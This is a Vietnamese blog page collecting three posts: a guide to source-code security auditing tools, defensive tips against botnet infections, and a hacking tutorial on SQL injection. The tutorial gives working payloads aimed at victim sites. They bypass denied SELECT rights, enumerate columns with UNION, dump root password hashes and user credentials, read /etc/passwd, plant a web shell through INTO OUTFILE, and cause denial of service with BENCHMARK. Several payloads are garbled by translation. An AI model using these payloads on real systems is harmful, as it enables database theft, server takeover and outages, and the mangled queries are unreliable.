Chủ Nhật

Nhận biết lỗi ứng dụng Web thông qua quá trình rà soát mã nguồn

I. Giới thiệu 
Nhận biết lỗi ứng dụng Web thông qua quá trình quan sát mã nguồn không phải là một quá trình đơn giản. Mã nguồn của một ứng dụng Web vô cùng phức tạp bao gồm nhiều thành phần (biến, hàm, đối tượng, lớp, …). Cho nên phải có phương pháp tiếp cận phù hợp thì mới có thể kiểm tra đánh giá an toàn ứng dụng Web một cách triệt để thông qua việc kiểm tra mã nguồn của ứng dụng đó. 

Một câu hỏi đơn giản là: “Người kiểm tra sẽ làm gì với mã nguồn Web ? Anh ta sẽ bắt đầu từ đâu ? Sẽ bắt đầu như thế nào ? … “. Có một số cách tiếp cận như: 
1) Xây dựng một công cụ tự động scan toàn bộ mã nguồn và dựa trên tập nhận biết các điểm yếu để đưa ra cảnh báo cho người kiểm tra. 

2) Nhận biết các điểm vào của ứng dụng và thực hiện tìm kiếm mối quan hệ giữa điểm vào của ứng dụng và mã nguồn ứng dụng. 

Ưu điểm của phương pháp 1 thì rất nhanh trong việc tìm kiểm tra. Nhưng nhược điểm lớn nhất của nó là không triệt để, vì chỉ đơn thuần dựa vào tập nhận biết điểm yếu ban đầu. Phương pháp thứ 2 thì triệt để hơn nhưng nhược điểm của nó là thời gian trong việc kiểm tra mặc dù trong quá trình tím kiếm mỗi liên hệ giữa điểm vào ứng dụng và mã nguồn có công cụ bổ trợ. 

Theo seamoun thì tốt nhất nên vận dụng cả hai. Sử dụng phương pháp 1 trước để nhận định sơ bộ về tình hình của mã nguồn. Liệt kê nhanh chóng các điểm yếu có thể có do công cụ nhận diện. Tiếp đến sử dụng phương pháp 2 để xác minh và tìm thêm các lỗi mới. Trong quá trình kiểm tra, theo seamoun thì phải đặt ứng dụng Web trong cái tổng thể của nó. Tức là tự bản thân một ứng dụng Web thì không thể chạy được nếu như thiếu các thành phần khác như máy chủ phục vụ web, database, … Nếu như đặt ứng dụng Web trong cái tổng thể của nó thì trước tiên chúng ta phải nhận diện những thành phần liên quan của nó. Nhận diện các thành phần liên quan ở đây là máy chủ phục vụ web, cở sở dữ liệu mà ứng dụng sử dụng và các thành phần bổ trợ khác ví dụ như tường lửa cho ứng dụng, tài nguyên khác, … Bước tiếp theo nhận diện các điểm vào của ứng dụng ? Điểm vào của ứng dụng là gì? Tức là thành phần mà ứng dụng Web tương tác (ví dụ như các phương thức GET/POST, các forms, chuỗi truy vấn, cookies,…) với người dùng cuối. Sau khi đã xác định tất cả các điểm vào của ứng dụng, bước tiếp theo sẽ thực hiện truy tìm mối liên hệ giữa các điểm vào của ứng dụng với mã nguồn Web sử dụng. Quá trình này rất quan trọng và điểm mấu chốt để tìm ra lỗi của ứng dụng. Nên có một công cụ bổ trợ để trợ giúp quá trình lần tìm mối liên hệ này. Công cụ bổ trợ này phải phù hợp với từng đặc thù mã nguồn ứng dụng Web. Bởi vì, hiện tại có rất nhiều mã nguồn phát triển ứng dụng Web (ASP.NET, PHP, Perl, JSP, …) nên cách tiếp cận nó cũng phải khác nhau về mặt cấu trúc mà từng ngôn ngữ sử dụng. Không thể một công cụ trace code cho ASP.NET lại dùng cho ngôn ngữ PHP được smilie smilie smilie. Nếu như các công cụ bổ trợ này mà không phù hợp với việc trace code cho ứng dụng Web mà chúng ta đang kiểm tra thì chúng ta cũng phải “è cổ” code riêng một cái sử dụng riêng cho ứng dụng đó. Sau khi đã có được mối liên hệ giữa các điểm vào của ứng dụng thì nên biểu diễn nó bằng sơ đồ quan hệ (dùng hình vẽ hay ký hiệu gì thì tùy miễn sao biểu diễn được mối quan hệ là được!!!). Việc mã xử lý các điểm vào sẽ rất rõ ràng ở giai đoạn này và sẽ phát hiện mã sử dụng có an toàn hay không cho điểm vào đó? Nếu như không an toàn thì đưa ra cách khắc phù triệt để và toàn diện. Có thể tóm tắt tất cả quá trình thực hiện như sau: 
1) Xác định các thành phần liên quan đến ứng dụng 
2) Xác định các điểm vào của ứng dụng 
3) Tìm mối liên hệ giữa các điểm với mã nguồn của ứng dụng 
4) Xây dựng sơ đồ các mối liên hệ giữa các điểm vào với mã nguồn của ứng dụng 
5) Nhận biết điểm yếu và đưa ra cách khắc phục triệt để và toàn diện. 
II. Áp dụng 
Phần này seamoun sẽ giới thiệu một số công cụ tiêu biểu được sử dụng trong quá trình nhận biết lỗi bảo mật. 
1) Application Code Scanning and Tracing tool (Blueinfy-AppCodeScan) có thể tải công cụ miễn phí tại đây ( http://blueinfy.com/AppCodeScan.zip) 



Sau khi lựa chọn thư mục có chứa mã nguồn ứng dụng Web cần scan thì phải thực hiện lựa chọn rule (lựa chọn các kiểu cần áp dụng cho quá trình scan). 
Công cụ này có một tiện ích nhỏ giúp trace code (có thể trace biến hàm). Công cụ này chỉ thực hiện scan mã nguồn dựa trên các tập điểm yếu xây dựng sẵn để nhận biết các điểm có thể gây ra lỗi bảo mật trong ứng dụng Web. 
2) RATS (Rough Auditing Tool for Security)
Công cụ RATS cũng là một trong những công cụ thực hiện rà soát mã nguồn đối với một số ứng dụng được viết bằng các ngôn ngữ như C, C++, Perl, PHP, Python và Ruby do Secure Software Inc phát triển. Có download miễn phí công cụ tại https://www.fortify.com/ssa-elements/threat-intelligence/rats.html). Cộng cụ này cũng chỉ dựa trên tập các hàm mà có nguy cơ gây ra lỗi bảo mật đối với dụng và nó thực hiện scan với tốc độc đáng nể !!!. Sau khi thực hiện chạy công cụ thì công cụ sẽ đưa ra một danh sách các hàm và vị trí trong mã nguồn, giúp người kiểm tra có thể nhanh chóng tập trung ra soát lại các hàm mà RATS đưa ra, kiểm tra liệu khi sử dụng các hàm đó đã an toàn hay chưa ? Một số tùy chọn trong công cụ RATS
Code:

usage: rats [options] [file]...
 
 Options explained:
     -d <filename>, --db <filename>, --database <filename>
                     Specifies a vulnerability database to be loaded.  You may
                     have multiple -d options and each database specified will
                     be loaded.
     -h, --help      Displays a brief usage summary
     -i, --input     Causes a list of function calls that were used which
                     accept external input to be produced at the end of the
                     vulnerability report.
     -l <lang>, --language <lang>
               Force the specified language to be used regardless of 
                     filename extension. Currently valid language names are 
                     "c", "perl", "php", "python" and "ruby".
     -r, --references
              Causes references to vulnerable function calls that are not
                     being used as calls themselves to be reported.
     -w <level>, --warning<level>
       Sets the warning level.  Valid levels are 1, 2 or 3.   
                     Warning level 1 includes only default and high severity
                     Level 2 includes medium severity. Level 2 is the default 
                     warning level 3 includes low severity vulnerabilities.
     -x              Causes the default vulnerability databases (which are in 
                     the installation data directory, /usr/local/lib by default)
                     to not be loaded.
     -R, --no-recursion
       Disable recursion into subdirectories.
     --xml     Cause output to be in XML
     --html     Cause output to be in HTML
     --follow-symlinks
       Evaluate and follow symlinks.

3) Spike Php Security Audit Tool
Công cụ spikephpSecAudit do SpikeSource phát triển và hoàn toàn miễn phí (có vẻ dự án bị dừng lại từ năm 2007, nhưng không sao, vẫn còn dùng tốt smilie smilie smilie). Có thể download tạihttp://developer.spikesource.com/projects/phpsecaudit/) Ngoài ra nhóm này cũng có một số dự án hay liên quan, các bạn có thể vào trang web của nhóm này để tham khảo. Thực hiện kiểm tra mã nguồn rất đơn giản, chỉ cần download về giải nén và thực hiện:
php.exe run.php <thư mục chứa mã nguồn hoặc tập tin cần kiểm tra>
4) Graudit
Graudit cũng tương tự như công cụ RATS hỗ trợ rà soát nhiều mã nguồn. Tuy nhiên công cụ này chỉ chạy trên môi trường Linux. Các bạn có thể download tại đâyhttp://www.justanotherhacker.com/projects/graudit.html)
5) RIPS
Một công cụ tốt nhất về rà soát và đánh giá mã nguồn ứng dụng Web phát triển từ ngôn ngữ PHP. Thông tin chi tiết và download công cụ các bạn có thể truy cập tại đây http://sourceforge.net/projects/rips-scanner/


Sở dĩ nó là công cụ tốt nhất trong việc rà soát mà nguồn bởi vì công cụ RIPS không đơn giản là dựa vào tập nhận diện các hàm có thể xảy ra lỗi như là các công cụ đã giới thiệu RATS, GRAUDIT,AppCodeScan. Cách tiếp cận và kiểm tra mã nguồn dựa trên việc xác định các điểm vào của ứng dụng, từ đó thực hiện kiểm tra đối với những đối số đầu vào này trong mã nguồn ứng dụng (giống như cách tiếp cận mà seamoun đã giới thiệu ở trên)
Ngoài những công cụ trên thì còn rất nhiều công cụ được phát triển nhằm bổ trợ cho việc rà soát mã nguồn. Toàn bộ những công cụ mà seamoun giới thiệu ở trên là miễn phí. Các công cụ thương mại thì seamoun thấy hình ảnh quảng cáo rất đẹp và có nhiều tính năng nhưng không biết nó thế nào ? smilie smilie smilie. Công cụ chỉ vẫn là công cụ nó chỉ giúp cho người kiểm tra một phần nào đó, không thể có một công cụ nào đủ thông minh mà làm thay thế hoàn toàn con người được. Nếu có một công cụ như thế chắc anh em bị đuổi việc hết smilie smilie smilie. Việc kiểm tra mã nguồn đòi hỏi người kiểm tra phải có cách quan sát tinh tế + độ “quái” khi cần thiết.


Nguồn: hvaonline

Thứ Sáu

7 cách để ngăn ngừa máy tính bị nhiễm Zombies

7 cách để ngăn ngừa máy tính bị nhiễm Zombies
(JICT) Hiểu một cách đơn giản nhất Zombies là những chương trình bí mật khống chế một máy tính kết nối Internet, sau đó dùng máy tính này để bắt đầu những cuộc tấn công mà người ta không thể lần ra được dấu vết của người đã tạo ra chúng. Thứ mà Zombies cần đó chính là thông tin cá nhân của bạn.


(JICT) Hiểu một cách đơn giản nhất Zombies là những chương trình bí mật khống chế một máy tính kết nối Internet, sau đó dùng máy tính này để bắt đầu những cuộc tấn công mà người ta không thể lần ra được dấu vết của người đã tạo ra chúng. Thứ mà Zombies cần đó chính là thông tin cá nhân của bạn.

Có 7 cách để bạn có thể ngăn ngừa nguy cơ chiếc máy tính của mình biến thành một zombie.
1. Xem xét kĩ lưỡng máy tính của bạn theo những cách thường quy
Zombies có thể là những đoạn mã lệnh cực kì kiên nhẫn. Nó đợi hàng tuần hoặc hàng tháng trước khi thực thi. Chính vì thế, hãy xem xét cẩn thận và đều đặn để kiếm soát những hoạt động mờ ám mà chiếc máy tính của bạn có thể làm.

2. Không nên dựa vào trực giác hoặc những gì máy tính bảo bạn
Việc kiểm tra lưu lượng ở Gateway là cách tiếp cận tốt nhất hòng loại trừ một zombie, tính từ thời điểm các gói dữ liệu được gửi đi từ một máy tính và nó không bị biến đổi sau đó.
Các zombie có thể lây nhiễm dựa vào các rootkits, chiếm quyền kiểm soát từ nhân hệ thống và cho nó quyền kiểm soát hệ điều hành - ẩn file, ẩn cửa sổ, ẩn lưu lượng mạng…

3. Cần cách ly máy tính sớm khi có những cảnh báo hoặc dựa vào các chứng cứ thật như các cửa sổ dạng pop-up cảnh báo về chống virus giả mạo. Làm sạch mọi thứ trước khi tích hợp vào mạng
Zombies sẽ kiếm tiền cho kẻ đã tạo ra chúng. Cách thông thường nhất là giả mạo một cửa sổ khẳng định người dùng nên mua một phần mềm sạch. Đây là dấu hiệu chắc chắn, khẳng định đã có một zombie trong máy của bạn. Thêm nữa Zombies lây lan rất nhanh qua mạng nên cần phải cách ly ngay lập tức. Hãy bắt đầu lại từ đầu khi mọi thứ đã sạch sẽ. Bạn có thể tìm một vài phần mềm miễn phí để diệt rootkit và malware như FortiCleanup Rootkit & Malware của Fortinet.
4. Theo dõi chặt chẽ lưu lượng
Zombies có thói quen lặp lại đó là đáp ứng theo cùng một cách với cùng các server và ở cùng một cổng - thông thường là HTTP. Nếu có một luồng HTTP hướng ngoại đề xuất đến cùng một địa chỉ IP, đặc biệt là khi trình duyệt web không sử dụng, đó là dấu hiệu cảnh báo rõ ràng rằng máy tính của bạn đã bị nhiễm.
5. Điều tra về lưu lượng vào ra trên máy tính
Công nghệ chống xâm nhập trái phép sẽ giúp chặn zombie không lan rộng ra trên một mạng. Công nghệ tương tự cũng có thể giúp tìm ra những dấu vết của zombie. Thậm chí nếu một chiếc máy bị nhiễm zombie, phát hiện và chặn lưu lượng gửi ra của zombie cho chủ nhân của nó là một cách hiệu quả để giảm nhẹ thiệt hại. Bằng cách này, zombie vẫn sống nhưng nó không thể nhận lệnh hoặc gửi thông tin cá nhân đã đánh cắp ra ngoài.

6. Chống lây nhiễm, đề phòng bị tấn công
Zombies có thể lây nhiễm thông qua các file đính kèm email, các link chứa mã độc, các ổ USB và file PDF. Hãy chắc chắn là tắt tính năng autorun của ổ USB. Bạn cần nhớ rằng, một file cần được mở hoặc một được link cần được kích chuột vào thì sự lây nhiễm mới bắt đầu. Vì thế, luôn luôn quan sát kĩ các đường link bạn nhận được trước khi kích chuột. Hãy xem nó định đưa bạn đến đâu? liệu tên miền có bị viết sai không? Sẽ không thành vấn đề nếu đường link đó được gửi thông qua email, mạng xã hội hoặc phần mềm nhắn tin. Các file PDF, DOC, XLS có thể là một nguồn lây nhiễm. Hãy dành ra một chút thời gian để xem xét kĩ các file đính kèm, các link có trong đó trước khi mở chúng.

7. Triển khai một hệ thống quản lý hiểm họa hợp nhất
-          Các chương trình diệt virus có thể ngừa các mã nhị phân của zombie được thực thi từ hệ thống của bạn.
-          Công nghệ chống xâm nhập trái phép có thể giúp chặn các mã khai thác từ một máy bị cấy zombie trong hệ thống thông qua một website độc.
-          Cơ chế lọc web có thể giúp chặn các trang web giả mạo, hoặc web độc trước khi mã độc được gửi đến trình duyệt (và lây nhiễm sau đó).
-          Các công cụ chống thư rác sẽ đánh dấu những email độc có chứa các file đính kèm và links.
-          Các trình kiểm soát ứng dụng sẽ chặn những dấu vết của zombie, ngắt nó ra khỏi mối liên hệ với chủ nhân của chúng.

Minh Phượng
(Theo Enterpriseinnovation)

Thứ Ba

Hack SQL Injection bị deny SELECT

Bình thường khi query
Trích dẫn
convert(int,(select top 1 table_name from information_schema.tables))--

bay ra lỗi
Trích dẫn
Syntax error converting the nvarchar value 'table_name' to a column of data type int

nhưng nếu bay ra lỗi
Trích dẫn
SELECT permission denied on object 'sysobjects', database 'XXXXX', owner 'dbo'.

thường anh em bỏ nó or toàn chơi tool thấy ko query dc bỏ luôn.

thằng admin đã deny SELECT ,ko SELECT thì convert dc cái khỉ j` .
dùng query sau:
Trích dẫn
;use dataname grant keyword on tables to public

trc' hết dùng convert(int,db_name()) để bít dataname,ví dụ là vnc
query fat nào

Trích dẫn
;use vnc grant select on sysobjects to public--

TUT SQL Injection PHP chi tiết và đầy đủ (của Nga)

Hôm nay tớ dịch ra cho anh em ha,có gì sai sót anh em thông cảm:
Lỗi MySQL là một lỗi rất là thông dụng và nguy hiểm.Khác với các lỗi khác MySQL bị lỗi là cho người viết mã gây ra hay bị sai sót
Lỗi MySQL đem lại những lợi ích như thế nào?
Nó cho phép người sử dụng có thể khai thác dễ dàng vào các database.Nói rõ hơn nó cho ta thấy được những thông số có liên quan đến victim chứa lỗi.MySQL Inj có thể phá hủy tập tin hay cho phép các tập tin khác mà attacker chèn vào
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php
Trích dẫn
...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>

Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id'] mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :
Trích dẫn
http://www.site.ru/index.php?page=1


Với 1 trang như thế ,để ta biết nó có bị dính lỗi hay ko thi ta cần thêm vào 1 ký tự như dấu '
Trích dẫn
http://www.site.ru/index.php?page=1'


Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:

+MySQL Error: mysql_query (.......) error expretion syntax ...

Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.

Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:

Trích dẫn
http://www.site.ru/index.php?page=2-1


Và nó trở về 1 thì 99% nó bị dính mysql.
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.
Đây là
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *


Chúng ta sẽ sử dụng lần lượt các câu truy vấn thông dụng như:
Trích dẫn
union select null, null
union select null, null, null
union select null, null, null, null


Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database
Trích dẫn
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *


Sau khi đã xác định được bảng ta xét đến nó có bao nhiệu cột nằm trong bảng.Với câu lệnh sau sẽ giúp ta xác định:

Trích dẫn
+? id =- 1 + + by order +100 / *


Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.

Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..

Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *


Sau đó ta sẽ lấy 1 số thông tin như user database...Và ta cần biết 9 xác nó nằm ở cột nào mới truy vấn và tìm
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *


*Sau khi có được các thông tin thì ta cần làm những bước sau tùy vào ý thích của mỗi người

1-Lấy pass của thằng root(Nó là quan trọng 1 mà)
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *


Và nó sẽ cho ra pass là pass hash và chúng ta dùng các chương trình crack pass để lấy mã.Ví dụ như chương trình password pro.Lưu ý phương thức lấy pass bằng câu lệnh trên ko có nghĩa lúc nào cũng cho ra pass mà còn phụ thuộc vào thằng mysql.user có chấp nhận yêu cầu của ta hay ko.

2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *


3-Đọc tập tin chứ trên server:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *


Nếu chúng ta xác định 9 xác tập tin ta cần đọc thì phần LOAD_FILE sẽ giúp ích cho ta rất nhiều.

4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"

Code up shell:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *


Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng sẽ thử lại 3 lần với cột số 5

Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *


1 điều cần lưu ý là khi bộ lọc kovychku của sql được bật thì chúng ta có thể dùng đến phần LOAD_FILE
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *


Đôi khi ta bị thằng inektsiya giới hạn việc sử dụng các khoản không gian sử dụng.Để xác lập lại ta dùng các lệnh sau:
Trích dẫn
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *

same
Trích dẫn
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,


Phần cuối là dos:Chắc câu lệnh này mọi người ai cũng hiểu ha:
Trích dẫn
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))

theo vit'blog

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Blogger Templates